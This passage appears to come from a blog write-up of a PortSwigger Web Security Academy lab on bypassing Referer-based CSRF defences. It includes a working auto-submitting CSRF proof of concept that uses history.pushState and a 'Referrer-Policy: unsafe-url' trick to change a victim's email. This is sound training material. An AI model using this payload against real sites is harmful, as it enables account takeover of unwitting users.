Note: Although you may be able to identify this behavior using Burp, you will often find that this approach no longer works when you go to test your proof-of-concept in a browser. In an attempt to reduce the risk of sensitive data being leaked in this way, many browsers now strip the query string from the Referer header by default. You can override this behavior by making sure that the response containing your exploit has the Referrer-Policy: unsafe-url header set (note that Referrer is spelled correctly in this case, just to make sure you’re paying attention!). This ensures that the full URL will be sent, including the query string.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
 <script>history.pushState(' ', ' ', '/?0ab600b203ef57ea8355cda000f0005d.web-security-academy.net')</script>
    <form action="https://0ab600b203ef57ea8355cda000f0005d.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="areyoukidding@gmail.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Cheatsheet for attack vectors

  1. Pawel Kusinski Blog
  2. OWASP
This post is licensed under CC BY 4.0 by the author.

Trending Tags